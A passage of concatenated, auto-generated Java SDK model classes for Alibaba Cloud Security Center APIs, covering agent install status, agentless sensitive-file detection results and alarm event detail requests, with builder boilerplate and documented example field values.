import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAgentInstallStatusResponseBody} extends {@link TeaModel}
*
* <p>DescribeAgentInstallStatusResponseBody</p>
*/
public class DescribeAgentInstallStatusResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AegisClientInvokeStatusResponseList")
private java.util.List<AegisClientInvokeStatusResponseList> aegisClientInvokeStatusResponseList;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAgentInstallStatusResponseBody(Builder builder) {
this.aegisClientInvokeStatusResponseList = builder.aegisClientInvokeStatusResponseList;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAgentInstallStatusResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return aegisClientInvokeStatusResponseList
*/
public java.util.List<AegisClientInvokeStatusResponseList> getAegisClientInvokeStatusResponseList() {
return this.aegisClientInvokeStatusResponseList;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<AegisClientInvokeStatusResponseList> aegisClientInvokeStatusResponseList;
private String requestId;
private Builder() {
}
private Builder(DescribeAgentInstallStatusResponseBody model) {
this.aegisClientInvokeStatusResponseList = model.aegisClientInvokeStatusResponseList;
this.requestId = model.requestId;
}
/**
* <p>The status of servers.</p>
*/
public Builder aegisClientInvokeStatusResponseList(java.util.List<AegisClientInvokeStatusResponseList> aegisClientInvokeStatusResponseList) {
this.aegisClientInvokeStatusResponseList = aegisClientInvokeStatusResponseList;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAgentInstallStatusResponseBody build() {
return new DescribeAgentInstallStatusResponseBody(this);
}
}
/**
*
* {@link DescribeAgentInstallStatusResponseBody} extends {@link TeaModel}
*
* <p>DescribeAgentInstallStatusResponseBody</p>
*/
public static class AegisClientInvokeStatusResponseList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Message")
private String message;
@com.aliyun.core.annotation.NameInMap("ResuleCode")
private String resuleCode;
@com.aliyun.core.annotation.NameInMap("Result")
private Integer result;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private AegisClientInvokeStatusResponseList(Builder builder) {
this.message = builder.message;
this.resuleCode = builder.resuleCode;
this.result = builder.result;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static AegisClientInvokeStatusResponseList create() {
return builder().build();
}
/**
* @return message
*/
public String getMessage() {
return this.message;
}
/**
* @return resuleCode
*/
public String getResuleCode() {
return this.resuleCode;
}
/**
* @return result
*/
public Integer getResult() {
return this.result;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private String message;
private String resuleCode;
private Integer result;
private String uuid;
private Builder() {
}
private Builder(AegisClientInvokeStatusResponseList model) {
this.message = model.message;
this.resuleCode = model.resuleCode;
this.result = model.result;
this.uuid = model.uuid;
}
/**
* <p>The returned message.</p>
*
* <strong>example:</strong>
* <p>Installed</p>
*/
public Builder message(String message) {
this.message = message;
return this;
}
/**
* <p>The installation status. Valid value:</p>
* <ul>
* <li><strong>-1</strong>: The agent is not installed.</li>
* <li><strong>0</strong>: The agent is installed.</li>
* <li><strong>1</strong>: Failed to create a directory in the client.</li>
* <li><strong>2</strong>: Failed to download the installation package.</li>
* <li><strong>3</strong>: The installation file does not exist.</li>
* <li><strong>4</strong>: The verification information of the installation file does not exist.</li>
* <li><strong>5</strong>: Failed to verify the installation file.</li>
* <li><strong>6</strong>: Failed to execute the installation file.</li>
* <li><strong>7</strong>: You do not have the required permissions. The installation failed.</li>
* <li><strong>8</strong>: No client process is detected.</li>
* <li><strong>100</strong>: The installation failed due to an unknown error.</li>
* <li><strong>1001</strong>: The installation failed. One-click installation is not supported in this region.</li>
* <li><strong>1002</strong>: The installation failed. Servers that are not provided by Alibaba Cloud are not supported. Install the agent by executing a script on the server.</li>
* <li><strong>1003</strong>: The installation failed. The operating system is not supported.</li>
* <li><strong>1004</strong>: An internal error occurred. Try again later.</li>
* <li><strong>1005</strong>: The Elastic Compute Service (ECS) instance is not started. Start the ECS instance and try again.</li>
* <li><strong>1006</strong>: One-click installation is not supported for ECS instances of the classic network type.</li>
* <li><strong>1007</strong>: The running command is manually stopped.</li>
* <li><strong>1008</strong>: Cloud Assistant is not installed. You cannot install the client.</li>
* <li><strong>1009</strong>: The command execution timed out. Try again later.</li>
* <li><strong>1010</strong>: The machine is already online. You do not need to install a client.</li>
* </ul>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder resuleCode(String resuleCode) {
this.resuleCode = resuleCode;
return this;
}
/**
* <p>The installation result. Valid value:</p>
* <ul>
* <li><strong>-1</strong>: The agent is not installed.</li>
* <li><strong>0</strong>: The agent is being installed.</li>
* <li><strong>1</strong>: The agent is installed.</li>
* <li><strong>2</strong>: The installation failed.</li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder result(Integer result) {
this.result = result;
return this;
}
/**
* <p>The UUID of the server.</p>
*
* <strong>example:</strong>
* <p>d123f6ae-9749-4338-8c7f-3c2c1ead****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public AegisClientInvokeStatusResponseList build() {
return new AegisClientInvokeStatusResponseList(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAgentlessSensitiveFileByKeyRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAgentlessSensitiveFileByKeyRequest} extends {@link RequestModel}
*
* <p>DescribeAgentlessSensitiveFileByKeyRequest</p>
*/
public class DescribeAgentlessSensitiveFileByKeyRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ImageUuid")
private String imageUuid;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("InstanceId")
private String instanceId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Remark")
private String remark;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ScanRange")
private java.util.List<String> scanRange;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SensitiveFileKey")
private String sensitiveFileKey;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
private DescribeAgentlessSensitiveFileByKeyRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.imageUuid = builder.imageUuid;
this.instanceId = builder.instanceId;
this.pageSize = builder.pageSize;
this.remark = builder.remark;
this.scanRange = builder.scanRange;
this.sensitiveFileKey = builder.sensitiveFileKey;
this.status = builder.status;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAgentlessSensitiveFileByKeyRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return imageUuid
*/
public String getImageUuid() {
return this.imageUuid;
}
/**
* @return instanceId
*/
public String getInstanceId() {
return this.instanceId;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return remark
*/
public String getRemark() {
return this.remark;
}
/**
* @return scanRange
*/
public java.util.List<String> getScanRange() {
return this.scanRange;
}
/**
* @return sensitiveFileKey
*/
public String getSensitiveFileKey() {
return this.sensitiveFileKey;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
public static final class Builder extends Request.Builder<DescribeAgentlessSensitiveFileByKeyRequest, Builder> {
private Integer currentPage;
private String imageUuid;
private String instanceId;
private Integer pageSize;
private String remark;
private java.util.List<String> scanRange;
private String sensitiveFileKey;
private String status;
private Builder() {
super();
}
private Builder(DescribeAgentlessSensitiveFileByKeyRequest request) {
super(request);
this.currentPage = request.currentPage;
this.imageUuid = request.imageUuid;
this.instanceId = request.instanceId;
this.pageSize = request.pageSize;
this.remark = request.remark;
this.scanRange = request.scanRange;
this.sensitiveFileKey = request.sensitiveFileKey;
this.status = request.status;
}
/**
* <p>The page number. Default value: <strong>1</strong>.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The UUID of the asset that is scanned. You can query the UUID on the Host or Cloud Product page. If you scan a host, set this parameter to the UUID of the scanned host. If you scan a snapshot or a custom image, set this parameter to the ID of the scanned snapshot or image.</p>
*
* <strong>example:</strong>
* <p>06293273b67d19516cfcc712194f****</p>
*/
public Builder imageUuid(String imageUuid) {
this.putQueryParameter("ImageUuid", imageUuid);
this.imageUuid = imageUuid;
return this;
}
/**
* <p>The instance ID of the asset that is scanned. To query the instance ID, go to the Task Management page, click Details of a task, and then view the value of Check On.</p>
*
* <strong>example:</strong>
* <p>i-bp1fu4aqltf1huhc****</p>
*/
public Builder instanceId(String instanceId) {
this.putQueryParameter("InstanceId", instanceId);
this.instanceId = instanceId;
return this;
}
/**
* <p>The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.</p>
* <blockquote>
* <p> We recommend that you do not leave this parameter empty.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>50</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* <p>The name or IP address of the asset.</p>
*
* <strong>example:</strong>
* <p>1.2.XX.XX</p>
*/
public Builder remark(String remark) {
this.putQueryParameter("Remark", remark);
this.remark = remark;
return this;
}
/**
* <p>The types of the assets that are scanned.</p>
*/
public Builder scanRange(java.util.List<String> scanRange) {
String scanRangeShrink = shrink(scanRange, "ScanRange", "json");
this.putQueryParameter("ScanRange", scanRangeShrink);
this.scanRange = scanRange;
return this;
}
/**
* <p>The type of the sensitive file.</p>
*
* <strong>example:</strong>
* <p>sshpasswd</p>
*/
public Builder sensitiveFileKey(String sensitiveFileKey) {
this.putQueryParameter("SensitiveFileKey", sensitiveFileKey);
this.sensitiveFileKey = sensitiveFileKey;
return this;
}
/**
* <p>The status of the baseline risk. Valid values:</p>
* <ul>
* <li><strong>0</strong>: unfixed.</li>
* <li><strong>1</strong>: fixed.</li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder status(String status) {
this.putQueryParameter("Status", status);
this.status = status;
return this;
}
@Override
public DescribeAgentlessSensitiveFileByKeyRequest build() {
return new DescribeAgentlessSensitiveFileByKeyRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAgentlessSensitiveFileByKeyResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAgentlessSensitiveFileByKeyResponse} extends {@link TeaModel}
*
* <p>DescribeAgentlessSensitiveFileByKeyResponse</p>
*/
public class DescribeAgentlessSensitiveFileByKeyResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAgentlessSensitiveFileByKeyResponseBody body;
private DescribeAgentlessSensitiveFileByKeyResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAgentlessSensitiveFileByKeyResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAgentlessSensitiveFileByKeyResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAgentlessSensitiveFileByKeyResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAgentlessSensitiveFileByKeyResponseBody body);
@Override
DescribeAgentlessSensitiveFileByKeyResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAgentlessSensitiveFileByKeyResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAgentlessSensitiveFileByKeyResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAgentlessSensitiveFileByKeyResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAgentlessSensitiveFileByKeyResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAgentlessSensitiveFileByKeyResponse build() {
return new DescribeAgentlessSensitiveFileByKeyResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAgentlessSensitiveFileByKeyResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAgentlessSensitiveFileByKeyResponseBody} extends {@link TeaModel}
*
* <p>DescribeAgentlessSensitiveFileByKeyResponseBody</p>
*/
public class DescribeAgentlessSensitiveFileByKeyResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
@com.aliyun.core.annotation.NameInMap("SensitiveFileList")
private java.util.List<SensitiveFileList> sensitiveFileList;
@com.aliyun.core.annotation.NameInMap("Success")
private Boolean success;
private DescribeAgentlessSensitiveFileByKeyResponseBody(Builder builder) {
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
this.sensitiveFileList = builder.sensitiveFileList;
this.success = builder.success;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAgentlessSensitiveFileByKeyResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
/**
* @return sensitiveFileList
*/
public java.util.List<SensitiveFileList> getSensitiveFileList() {
return this.sensitiveFileList;
}
/**
* @return success
*/
public Boolean getSuccess() {
return this.success;
}
public static final class Builder {
private PageInfo pageInfo;
private String requestId;
private java.util.List<SensitiveFileList> sensitiveFileList;
private Boolean success;
private Builder() {
}
private Builder(DescribeAgentlessSensitiveFileByKeyResponseBody model) {
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
this.sensitiveFileList = model.sensitiveFileList;
this.success = model.success;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The request ID.</p>
*
* <strong>example:</strong>
* <p>FBBEB173-1F43-505F-A876-C03ECDF6CE4C</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
/**
* <p>The information about the sensitive files that are detected by using the agentless detection feature.</p>
*/
public Builder sensitiveFileList(java.util.List<SensitiveFileList> sensitiveFileList) {
this.sensitiveFileList = sensitiveFileList;
return this;
}
/**
* <p>Indicates whether the request was successful. Valid values:</p>
* <ul>
* <li><strong>true</strong></li>
* <li><strong>false</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>true</p>
*/
public Builder success(Boolean success) {
this.success = success;
return this;
}
public DescribeAgentlessSensitiveFileByKeyResponseBody build() {
return new DescribeAgentlessSensitiveFileByKeyResponseBody(this);
}
}
/**
*
* {@link DescribeAgentlessSensitiveFileByKeyResponseBody} extends {@link TeaModel}
*
* <p>DescribeAgentlessSensitiveFileByKeyResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of entries returned on the current page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of entries returned.</p>
*
* <strong>example:</strong>
* <p>100</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
/**
*
* {@link DescribeAgentlessSensitiveFileByKeyResponseBody} extends {@link TeaModel}
*
* <p>DescribeAgentlessSensitiveFileByKeyResponseBody</p>
*/
public static class SensitiveFileList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("FilePath")
private String filePath;
@com.aliyun.core.annotation.NameInMap("FirstScanTime")
private Long firstScanTime;
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.NameInMap("InstanceName")
private String instanceName;
@com.aliyun.core.annotation.NameInMap("InternetIp")
private String internetIp;
@com.aliyun.core.annotation.NameInMap("IntranetIp")
private String intranetIp;
@com.aliyun.core.annotation.NameInMap("LastScanTime")
private Long lastScanTime;
@com.aliyun.core.annotation.NameInMap("Md5")
private String md5;
@com.aliyun.core.annotation.NameInMap("Prompt")
private String prompt;
@com.aliyun.core.annotation.NameInMap("RiskLevel")
private String riskLevel;
@com.aliyun.core.annotation.NameInMap("SensitiveFileKey")
private String sensitiveFileKey;
@com.aliyun.core.annotation.NameInMap("Status")
private Integer status;
@com.aliyun.core.annotation.NameInMap("TargetName")
private String targetName;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private SensitiveFileList(Builder builder) {
this.filePath = builder.filePath;
this.firstScanTime = builder.firstScanTime;
this.id = builder.id;
this.instanceName = builder.instanceName;
this.internetIp = builder.internetIp;
this.intranetIp = builder.intranetIp;
this.lastScanTime = builder.lastScanTime;
this.md5 = builder.md5;
this.prompt = builder.prompt;
this.riskLevel = builder.riskLevel;
this.sensitiveFileKey = builder.sensitiveFileKey;
this.status = builder.status;
this.targetName = builder.targetName;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static SensitiveFileList create() {
return builder().build();
}
/**
* @return filePath
*/
public String getFilePath() {
return this.filePath;
}
/**
* @return firstScanTime
*/
public Long getFirstScanTime() {
return this.firstScanTime;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return instanceName
*/
public String getInstanceName() {
return this.instanceName;
}
/**
* @return internetIp
*/
public String getInternetIp() {
return this.internetIp;
}
/**
* @return intranetIp
*/
public String getIntranetIp() {
return this.intranetIp;
}
/**
* @return lastScanTime
*/
public Long getLastScanTime() {
return this.lastScanTime;
}
/**
* @return md5
*/
public String getMd5() {
return this.md5;
}
/**
* @return prompt
*/
public String getPrompt() {
return this.prompt;
}
/**
* @return riskLevel
*/
public String getRiskLevel() {
return this.riskLevel;
}
/**
* @return sensitiveFileKey
*/
public String getSensitiveFileKey() {
return this.sensitiveFileKey;
}
/**
* @return status
*/
public Integer getStatus() {
return this.status;
}
/**
* @return targetName
*/
public String getTargetName() {
return this.targetName;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private String filePath;
private Long firstScanTime;
private Long id;
private String instanceName;
private String internetIp;
private String intranetIp;
private Long lastScanTime;
private String md5;
private String prompt;
private String riskLevel;
private String sensitiveFileKey;
private Integer status;
private String targetName;
private String uuid;
private Builder() {
}
private Builder(SensitiveFileList model) {
this.filePath = model.filePath;
this.firstScanTime = model.firstScanTime;
this.id = model.id;
this.instanceName = model.instanceName;
this.internetIp = model.internetIp;
this.intranetIp = model.intranetIp;
this.lastScanTime = model.lastScanTime;
this.md5 = model.md5;
this.prompt = model.prompt;
this.riskLevel = model.riskLevel;
this.sensitiveFileKey = model.sensitiveFileKey;
this.status = model.status;
this.targetName = model.targetName;
this.uuid = model.uuid;
}
/**
* <p>The path to the sensitive file.</p>
*
* <strong>example:</strong>
* <p>/usr/lib/abc.txt</p>
*/
public Builder filePath(String filePath) {
this.filePath = filePath;
return this;
}
/**
* <p>The timestamp when the first scan was performed. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1663321552000</p>
*/
public Builder firstScanTime(Long firstScanTime) {
this.firstScanTime = firstScanTime;
return this;
}
/**
* <p>The ID of the alert for the sensitive file.</p>
*
* <strong>example:</strong>
* <p>423505573</p>
*/
public Builder id(Long id) {
this.id = id;
return this;
}
/**
* <p>The instance name of the asset.</p>
*
* <strong>example:</strong>
* <p>test-server</p>
*/
public Builder instanceName(String instanceName) {
this.instanceName = instanceName;
return this;
}
/**
* <p>The public IP address of the asset.</p>
*
* <strong>example:</strong>
* <p>95.214.XX.XX</p>
*/
public Builder internetIp(String internetIp) {
this.internetIp = internetIp;
return this;
}
/**
* <p>The private IP address of the asset.</p>
*
* <strong>example:</strong>
* <p>10.68.XX.XX</p>
*/
public Builder intranetIp(String intranetIp) {
this.intranetIp = intranetIp;
return this;
}
/**
* <p>The timestamp when the last scan was performed. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1663691592000</p>
*/
public Builder lastScanTime(Long lastScanTime) {
this.lastScanTime = lastScanTime;
return this;
}
/**
* <p>The MD5 hash value of the sensitive file.</p>
*
* <strong>example:</strong>
* <p>b484b0dff093f358897486b58266****</p>
*/
public Builder md5(String md5) {
this.md5 = md5;
return this;
}
/**
* <p>The content of the sensitive file.</p>
*
* <strong>example:</strong>
* <p>mysql -u -p****</p>
*/
public Builder prompt(String prompt) {
this.prompt = prompt;
return this;
}
/**
* <p>The risk level. Valid values:</p>
* <ul>
* <li><strong>high</strong></li>
* <li><strong>medium</strong></li>
* <li><strong>low</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>high</p>
*/
public Builder riskLevel(String riskLevel) {
this.riskLevel = riskLevel;
return this;
}
/**
* <p>The type of the sensitive file.</p>
*
* <strong>example:</strong>
* <p>pem</p>
*/
public Builder sensitiveFileKey(String sensitiveFileKey) {
this.sensitiveFileKey = sensitiveFileKey;
return this;
}
/**
* <p>The status of the sensitive file. Valid values:</p>
* <ul>
* <li><strong>0</strong>: unhandled.</li>
* <li><strong>1</strong>: ignored.</li>
* <li><strong>2</strong>: false positive.</li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder status(Integer status) {
this.status = status;
return this;
}
/**
* <p>The name of the asset.</p>
*
* <strong>example:</strong>
* <p>SAS_Agentless_171869952****</p>
*/
public Builder targetName(String targetName) {
this.targetName = targetName;
return this;
}
/**
* <p>The UUID of the asset.</p>
*
* <strong>example:</strong>
* <p>73e6a851-e63b-49ef-9d7a-5542d765****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public SensitiveFileList build() {
return new SensitiveFileList(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAlarmEventDetailRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAlarmEventDetailRequest} extends {@link RequestModel}
*
* <p>DescribeAlarmEventDetailRequest</p>
*/
public class DescribeAlarmEventDetailRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("AlarmUniqueInfo")
@com.aliyun.core.annotation.Validation(required = true)
private String alarmUniqueInfo;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("From")
@com.aliyun.core.annotation.Validation(required = true)
private String from;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
private DescribeAlarmEventDetailRequest(Builder builder) {
super(builder);
this.alarmUniqueInfo = builder.alarmUniqueInfo;
this.from = builder.from;
this.lang = builder.lang;
this.sourceIp = builder.sourceIp;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAlarmEventDetailRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return alarmUniqueInfo
*/
public String getAlarmUniqueInfo() {
return this.alarmUniqueInfo;
}
/**
* @return from
*/
public String getFrom() {
return this.from;
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
public static final class Builder extends Request.Builder<DescribeAlarmEventDetailRequest, Builder> {
private String alarmUniqueInfo;
private String from;
private String lang;
private String sourceIp;
private Builder() {
super();
}
private Builder(DescribeAlarmEventDetailRequest request) {
super(request);
this.alarmUniqueInfo = request.alarmUniqueInfo;
this.from = request.from;
this.lang = request.lang;
this.sourceIp = request.sourceIp;
}
/**
* <p>The unique identifier of the alert event.</p>
* <blockquote>
* <p>To query the details of an alert event, you must provide the unique identifier of the alert event. You can call the <a href="~~DescribeSuspEvents~~">DescribeSuspEvents</a> operation to obtain the identifier.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>9f62555666f177aa84ee1eaf465a****</p>
*/
public Builder alarmUniqueInfo(String alarmUniqueInfo) {
this.putQueryParameter("AlarmUniqueInfo", alarmUniqueInfo);
this.alarmUniqueInfo = alarmUniqueInfo;
return this;
}
/**
* <p>The ID of the request source. Set the value to <strong>sas</strong>.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>sas</p>
*/
public Builder from(String from) {
this.putQueryParameter("From", from);
this.from = from;
return this;
}
/**
* <p>The language of the content within the request and response. Default value: <strong>zh</strong>. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The source IP address of the request.</p>
*
* <strong>example:</strong>
* <p>192.168.XX.XX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
@Override
public DescribeAlarmEventDetailRequest build() {
return new DescribeAlarmEventDetailRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAlarmEventDetailResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
